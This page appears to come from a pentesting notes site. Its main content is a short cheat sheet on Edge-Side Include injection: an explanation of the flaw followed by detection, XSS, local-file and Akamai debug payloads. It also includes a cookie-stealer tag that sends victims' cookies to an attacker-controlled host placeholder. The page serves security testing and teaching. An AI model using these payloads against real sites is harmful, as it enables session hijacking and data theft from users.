Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page

Was this helpful?

  1. Pentesting Process
  2. Web Attacks

ESI

Edge-Side Includes.

Edge-Side Includes is a technology used to manage distributed content caching and improve the performance of dynamic web pages. It is a markup language that allows a web page to be “composed” using various content fragments, which are loaded or updated independently. With ESI, special tags can be inserted within the HTML code (such as <esi:include>), which are interpreted by an edge caching server (such as a Content Delivery Network - CDN or an advanced reverse proxy) before the page is delivered to the user's browser. ESI fragments tell the server which parts of the content can be handled separately to optimize the cache. Edge-Side Include Injection occurs when a malicious user succeeds in reflecting malicious ESI tags in the HTTP response. The main cause of this vulnerability is that HTTP surrogates cannot validate the origin of the ESI tag. Although it is possible to identify the use of ESI by examining response headers for Surrogate-Control: content=“ESI/1.0”, it is usually necessary to use a blind attack approach to detect whether ESI is in use or not.

Basic detection

<esi: include src=http://<MY_IP>>

XSS Exploitation Example

<esi: include src=http://<MY_IP>/<XSSPAYLOAD.html>>

Cookie Stealer (bypass httpOnly flag)

<esi: include src=http://<MY_IP>/?cookie_stealer.php?=$(HTTP_COOKIE)>

Introduce private local files (Not LFI per se)

<esi:include src="supersecret.txt">

Valid for Akamai, sends debug information in the response

<esi:debug/>

Last updated 7 months ago

Was this helpful?